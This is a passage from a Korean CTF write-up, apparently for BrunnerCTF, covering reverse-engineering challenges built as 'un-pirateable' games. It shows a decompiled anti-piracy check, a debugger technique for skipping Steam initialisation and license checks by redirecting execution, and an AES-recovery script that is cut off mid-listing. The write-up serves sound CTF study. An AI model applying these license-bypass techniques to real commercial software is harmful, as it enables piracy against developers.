&lt;span class=&quot;nx&quot;&gt;draw_text&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;640&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;360&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;You baked a cake&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;message&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;global&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;isPirated&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;message&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;And it tasted great!&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;message&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;But you used salt instead of sugar...&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;It&apos;s terrible...&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;draw_set_font&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;DefaultFont&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;draw_text&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;640&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;420&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;message&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;global&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;isPirated&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;f&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;72&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;88&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;95&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;68&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;68&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;79&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;88&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;81&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;68&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;26&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;117&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;93&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;30&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;83&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;11&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;117&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;94&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;66&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;27&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;89&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;117&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;89&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;66&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;26&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;70&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;78&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;117&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;66&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;30&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;92&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;25&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;117&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;72&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;25&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;25&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;68&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;117&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;27&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;71&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;90&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;26&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;89&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;89&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;27&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;72&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;70&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;25&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;87&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;48&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nx&quot;&gt;f&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;chr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;^&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;42&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;draw_text&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;640&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;450&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;un-pirateable-baking-game-2&quot;&gt;Un-Pirateable Baking Game 2&lt;/h2&gt;

&lt;h3 id=&quot;문제-상황-2&quot;&gt;문제 상황&lt;/h3&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Un-Pirateable Baking Game&lt;/code&gt;와 비슷해보이지만, 스크립트가 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;YYC (YoYoCompiler)&lt;/code&gt;에 의해 컴파일되어 바이너리로 들어갔다고 합니다.&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;brunnerctf\rev_un-pirateable-baking-game-2\UTMT_CLI_v0.8.3.0-Windows&amp;gt;UndertaleModCli.exe dump ..\data.win -o ..\dump -c UMT_DUMP_ALL
Trying to load file: &apos;brunnerctf\rev_un-pirateable-baking-game-2\data.win&apos;
The game was made with YYC (YoYo Compiler), which means that the code was compiled into the executable. There is thus no code to dump. Exiting.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2025-09-08-6.png&quot; alt=&quot;_&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;실행 시 스팀 클라이언트가 켜지며, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;spacewar&lt;/code&gt;게임을 설치하려 합니다.&lt;/p&gt;

&lt;p&gt;관련 게임을 살펴보니, 밸브의 오래된 게임이었습니다.&lt;/p&gt;

&lt;h3 id=&quot;분석-과정-2&quot;&gt;분석 과정&lt;/h3&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2025-09-08-3.png&quot; alt=&quot;_&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Un-Pirateable Baking Game&lt;/code&gt;의 플래그 출력 스크립트에 나온 문자열을 기준으로 검색해보니, 같은 문자열이 나왔습니다.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2025-09-08-4.png&quot; alt=&quot;_&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;문자열에 대해 xref를 잘 찾아보니 복잡한 함수가 나왔습니다.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2025-09-08-7.png&quot; alt=&quot;_&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2025-09-08-8.png&quot; alt=&quot;_&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;게임에 디버거를 붙여 실행한 후 한 줄씩 실행하며 스팀 관련 초기화 함수를 찾아 우회했습니다.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2025-09-08-9.png&quot; alt=&quot;_&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;똑같은 화면이 뜨며 라이선스 코드를 검사합니다. 지난번 스크립트를 보면 스팀id등을 비교했기 때문에, 어떤 값을 입력하더라도 패스는 불가능합니다.&lt;/p&gt;

&lt;p&gt;프로그램 내부 문자열중 의미심장한곳을 찾아 브레이크포인트를 걸면, 같은 위치에서 루프를 걸어가면서 모든 함수를 호출하는것을 볼 수 있습니다.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2025-09-08-10.png&quot; alt=&quot;_&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;table&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;의미심장한 함수 예시이며, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gml_Object_Game_KeyPress_1&lt;/code&gt;이라는 문자열을 사용하고 있었습니다. 라이선스 키 입력받는 함수였습니다.&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2025-09-08-11.png&quot; alt=&quot;_&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;table&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;다음 위치에서 비슷한 함수들을 호출하고 있었습니다.&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2025-09-08-12.png&quot; alt=&quot;_&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;함수 시작 위치에서 잘 보면 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rax&lt;/code&gt;가 스크립트 이름, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;r10&lt;/code&gt;이 함수 위치로 설정된 것을 볼 수 있습니다.&lt;/p&gt;

&lt;p&gt;플래그 출력하는 함수의 시작 부분으로 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rip&lt;/code&gt;를 옮긴 후, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rax&lt;/code&gt;와 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;r10&lt;/code&gt;을 조절하면 플래그 출력이 이루어집니다. (일부 조건은 우회해야합니다.)&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Un-Pirateable Baking Game&lt;/code&gt;에서 얻은 플래그 출력 함수인 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gml_Object_End_Draw_64&lt;/code&gt;를 기준으로 함수를 찾아, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rip&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rax&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;r10&lt;/code&gt;을 수정합니다.
(사실 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rax&lt;/code&gt;는 함수 시작 후 바로 덮어써지므로 수정하지 않아도 됩니다.)&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2025-09-08-13.png&quot; alt=&quot;_&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;계속 진행하다보면 기존 스크립트처럼 분기가 몇 개 있는데, 시행착오를 거쳐가면서 수정할 지점을 알아가면 됩니다.
| 분기는 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;560a&lt;/code&gt; 및 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;57c2&lt;/code&gt;에 있습니다.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2025-09-08-14.png&quot; alt=&quot;_&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;기존 로직의 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;xor&lt;/code&gt;을 키워드로 계속 넘어가다보면, 한 글자씩 문자열을 복호화하는 부분을 찾을 수 있습니다.&lt;/p&gt;

&lt;h2 id=&quot;bake-to-the-future&quot;&gt;Bake to the Future&lt;/h2&gt;

&lt;h3 id=&quot;문제-상황-3&quot;&gt;문제 상황&lt;/h3&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Bake and Forth&lt;/code&gt;와 비슷한 문제이나, 단순한 로직이 아닌 복잡한 로직이 들어있었습니다.&lt;/p&gt;

&lt;h3 id=&quot;분석-과정-3&quot;&gt;분석 과정&lt;/h3&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;gdb&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; b &lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;0x40000b
Breakpoint 1 at 0x40000b
&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;gdb&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; commands
Type commands &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;breakpoint&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;s&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; 1, one per line.
End with a line saying just &lt;span class=&quot;s2&quot;&gt;&quot;end&quot;&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;silent
&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;x/i 0x400000
&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;continue&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;end
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;위 스크립트로 어셈블리를 뽑아냈습니다.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2025-09-08-15.png&quot; alt=&quot;_&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;정규식을 통해 보기 쉽게 다듬은 후, gpt를 돌렸습니다.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2025-09-08-16.png&quot; alt=&quot;_&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;AES 일부 라운드만을 돌려주는 프로그램이라고 합니다.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2025-09-08-17.png&quot; alt=&quot;_&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;# brunner.bin → recovered.bin 복구 스크립트
&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;pathlib&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Path&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;sys&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;# --- 표준 AES S-box ---
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SBOX&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;
    &lt;span class=&quot;mh&quot;&gt;0x63&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x7C&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x77&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x7B&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xF2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x6B&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x6F&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xC5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x30&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x01&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x67&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x2B&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xFE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xD7&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xAB&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x76&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;mh&quot;&gt;0xCA&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x82&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xC9&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x7D&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xFA&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x59&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x47&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xF0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xAD&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xD4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xA2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xAF&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x9C&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xA4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x72&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xC0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;mh&quot;&gt;0xB7&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xFD&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x93&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x26&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x36&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x3F&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xF7&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xCC&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x34&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xA5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xE5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xF1&lt;/span&gt;&lt;span 